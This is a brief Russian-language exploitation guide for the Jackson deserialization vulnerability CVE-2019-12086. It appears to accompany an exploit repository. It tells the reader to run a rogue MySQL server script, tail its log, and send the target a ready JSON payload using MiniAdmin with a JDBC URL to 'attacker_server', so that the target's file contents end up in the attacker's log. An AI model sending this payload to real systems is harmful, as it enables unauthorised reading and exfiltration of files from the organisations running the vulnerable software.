Документация

CVE-2019-12086 jackson unserialize

Эксплуатация уязвимости

1. Запустите вредоносный MySQL-сервер:

python rogue_mysql_server.py

2. В той же директории просмотрите mysql.log:

tail -f mysql.log

3. Отправьте следующий JSON в уязвимое приложение:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

После десериализации вредоносной строки JSON, Jackson подключается к вредоносному MySQL-серверу, и содержимое прочитанного файла записывается в mysql.log вредоносного сервера.